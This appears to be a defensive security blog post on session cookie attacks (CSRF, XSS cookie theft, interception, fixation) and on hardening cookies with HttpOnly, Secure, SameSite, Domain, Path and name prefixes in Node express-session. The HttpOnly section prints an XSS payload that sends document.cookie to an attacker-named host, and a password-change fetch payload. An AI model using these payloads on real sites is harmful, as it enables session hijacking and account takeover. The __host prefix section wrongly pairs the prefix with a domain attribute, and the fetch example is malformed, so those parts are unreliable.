Session cookies play a crucial role in maintaining user authentication and session management. However, their significance also makes them a prime target for attackers seeking unauthorized access to sensitive user data. In this blog post, we will delve into the vulnerabilities associated with session cookies, explore the potential impact of exploiting these vulnerabilities, and provide a detailed guide on how to secure session cookies effectively.
Session cookies are small pieces of data stored on the client-side (typically a browser) that help in identifying and authenticating users during their interactions with a web application. Due to HTTP being stateless, without session cookies or tokens, we would have to send credentials with each request to prove authentication. Upon deciding to use session cookies in your application, the following vulnerabilities should be considered:
Session cookies are not secure out of the box. Session cookies are set by the server but they are stored client-side (in the user’s browser) and automatically attached to all requests to the application’s server. Due to this behaviour, a new category of vulnerability was introduced known as cross-site request forgery. As the browser blindly attaches the session cookie to all requests to the application, a malicious threat actor can forge an HTTP request and trick a victim into executing it in their browser. Assuming they are logged into the application, the victim’s cookies will be attached to the request as it is executed in their browser. This could be a request to change the victim’s email address and a password reset could be requested after, resulting in account compromise.
Session cookies, by default, can be stolen by malicious threat actors through cross-site scripting attacks. Cross-site scripting occurs when an application trusts user input without stripping dangerous characters, allowing malicious threat actors to inject malicious JavaScript that executes in the user’s browser. If this attack is possible and session cookies have not been secured, it is possible to steal users’ session cookies via crafting a cross-site scripting payload that accesses the document.cookie API and returns the value to an attacker-controlled server. The cookies can then be reused to compromise the user account.
A session cookie should only be sent over an encrypted connection. If a session cookie is sent over an unencrypted connection, in a public computing environment such as a library, an attacker on the same network would be able to steal the user’s session cookie and compromise their account.
Session fixation is another vulnerability that is specific to session cookies. This vulnerability occurs when an attacker is able to set a user’s session identifier, forcing the victim to use a compromised session. This can lead to account compromise.
The impact of exploiting vulnerabilities in session cookies can be severe, compromising the confidentiality, integrity, and availability of user data.
- Unauthorized Access: Attackers can gain unauthorized access to user accounts, exposing sensitive information and potentially leading to identity theft.
- Data Tampering: Session cookie manipulation can result in the modification of critical user data, affecting the integrity of the information stored by the application.
- Impersonation: With compromised session cookies, attackers can impersonate legitimate users, carrying out malicious actions on their behalf.
To mitigate the risks associated with insecure session cookies, web developers and administrators should implement a robust set of security measures.
HTTPOnly Attribute
The HttpOnly attribute in a cookie is a security feature that helps protect against certain types of attacks, particularly cross-site scripting (XSS) attacks. When a cookie has the HttpOnly attribute, it means that the cookie is inaccessible to JavaScript running in the browser. This restriction is enforced by the browser, and it prevents client-side scripts from accessing the cookie through the document.cookie API.
This is achieved by restricting access to the document.cookie API. This mitigates trivial cross-site scripting attacks that are designed to steal a user’s cookie via accessing the document.cookie API, such as:
1 2 3 4 5 6 7 |
<script> var i=new Image; i.src="http://attacker.trustfoundry.net/?"+document.cookie; </script> |
It does not, however, prevent JavaScript from being able to make authenticated requests using the cookies. This means that if a function is vulnerable to cross-site scripting, it is still possible to exploit the user’s session. A range of attacks could be leveraged such as sending a request to the change email address function and then resetting the account’s password. This can be seen in the example below:
1 |
<script>fetch('/change-password' {method: 'post' , body: 'newpass=weakpass123'}})</script> |
It is also important to consider that if your site relies on the document.cookie API to function, implementing this attribute may stop your site functioning correctly. Upon implementing this attribute you should test the application to ensure that everything is working correctly.
Implementing the HTTPOnly attribute
The following example illustrates implementing HTTPOnly using the express-session middleware in NodeJS:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
app.use(session({ secret: 'your-secret-key', resave: false, saveUninitialized: true, cookie: { httpOnly: true, }, })); |
Secure Attribute
The Secure attribute is an additional security feature for cookies that instructs the browser to only send the cookie if the request is being sent over HTTPS. When a cookie has the Secure attribute, it helps protect sensitive information by ensuring that the cookie is transmitted only over encrypted, secure connections which reduces the likelihood of Man-in-the-middle attacks. Cookies transmitted over unencrypted connections are susceptible to interception by attackers, especially on public networks. This could lead to unauthorized access to sensitive information.
Implementing the secure attribute
__Secure Cookie Prefix
This is the equivalent of adding the secure attribute directly to session cookies as you will see below. It is possible to instruct the browser to treat the session cookie as being set with the secure flag. This can be achieved by adding a prefix of __Secure to your cookies’ names. For example:
1 |
__Secure-sessiontoken=pfjlksjdlkgrjldfjk; |
NodeJS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
The following example illustrates implementing the Secure attribute in NodeJS: app.use(session({ secret: 'your-secret-key', resave: false, saveUninitialized: true, cookie: { httpOnly: true, secure: true, // Set 'secure' attribute for the session cookie }, }));<strong> </strong> |
SameSite attribute
The SameSite attribute in cookies is used to control how cookies are sent with cross-site requests. It helps mitigate the risk of cross-site request forgery (CSRF) and XSS attacks by defining when cookies should be included in a request.
If a cookie does not have the SameSite attribute set, it may default to SameSite=Lax, which means it won’t be sent with cross-site requests initiated by third-party websites. Whilst most browsers default to SameSite=Lax if it is not explicitly set, others do not, meaning that if a user has a legacy browser, this protection will not be applicable. If the browser defaults to SameSite=None, this will not protect against cross-site request forgery. Additionally, if you do not set the SameSite flag and the browser defaults to SameSite=Lax, if your application relies on session cookies being sent to other domains, the application may not function correctly.
There are three options for the SameSite attribute:
None:
Cookies are sent with both same-site and cross-site requests. This offers no protection and is not recommended. If this is used, it requires the Secure flag to be set.
Lax:
Cookies are not sent with cross-site requests initiated by third-party websites (e.g., through an <img> tag or a <script> tag). Cookies are sent with top-level navigations and same-site requests.
Strict:
Cookies are not sent with cross-site requests, regardless of the initiator.
Implementing the SameSite Attribute
NodeJS
The following example illustrates implementing the SameSite attribute in NodeJS:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
app.use(session({ secret: 'your-secret-key', resave: false, saveUninitialized: true, cookie: { httpOnly: true, secure: true, sameSite: 'Lax', // Set 'SameSite' attribute for the session cookie }, })); |
Domain Attribute
The Domain attribute in a cookie is used to specify the domain for which the cookie is valid. It defines the scope of the cookie, determining which domains can access and send the cookie. The Domain attribute allows you to make a cookie accessible across multiple subdomains or, conversely, limit its scope to a specific domain.
If the Domain attribute is not set (or it is set to the same domain that set the cookie), the cookie is only accessible to the exact domain that set it. This is the default browser setting if it is not explicitly set.
If the Domain attribute is set to a specific domain (e.g., “.example.com”), the cookie becomes accessible to that domain and all its subdomains. The leading dot (.) is crucial for including subdomains.
Implementing the Domain attribute
NodeJS
The following example illustrates implementing the Domain attribute in NodeJS:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
app.use(session({ secret: 'your-secret-key', resave: false, saveUninitialized: true, cookie: { httpOnly: true, secure: true, sameSite: 'Lax', domain: '.example.com', // Set 'domain' attribute for the session cookie path: '/', }, })); |
Path Attribute
The Path attribute in a cookie specifies the subset of URLs on the origin server to which the cookie will be sent. It helps to restrict the cookie to a specific path, ensuring that the browser only sends the cookie to the server when making requests to that path or its subdirectories.
If a cookie does not have a Path attribute specified, it becomes a “pathless” cookie, and the browser will send the cookie to all paths on the server to which the cookie belongs. This means that any request to the domain or subdomains will include the cookie.
Without a defined path, cookies may be accessible to scripts on pages outside the intended scope, which can pose security risks. For example, if a cookie contains sensitive information, its exposure to unnecessary paths could increase the attack surface for potential security threats.
Implementing the path attribute
NodeJS
The following example illustrates implementing the Path attribute in NodeJS:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
app.use(session({ secret: 'your-secret-key', resave: false, saveUninitialized: true, cookie: { httpOnly: true, secure: true, sameSite: 'Lax', path: '/specific-path', // Set 'path' attribute for the session cookie }, })); |
__host prefix
This ensures that a cookie should only be sent to the host to which it was initially set. This is often used as a security measure to prevent cookies from being sent in cross-origin requests, even if the site receiving the request is a subdomain of the original site. Cookies with this prefix are required to have specific attributes:
- secure: true: The cookie is only sent over secure (HTTPS) connections.
- path: /: The cookie is accessible on all paths.
- domain: <domain>: Specifies the domain to which the cookie is limited
Implementing the __host prefix
This can be achieved by adding a prefix of __host to the cookie name:
1 |
__host-sessionID=sfjdlksfdjjfsdjlfdskl; secure; path=/; domain: .example.com |
Implement Session Expiry and Rotation
Set a reasonable session expiration time and rotate session identifiers periodically to limit the window of opportunity for attackers.
By combining these measures, web developers can significantly enhance the security of session cookies, mitigating the risks associated with session-related vulnerabilities and ensuring a more robust defense against unauthorized access and data breaches.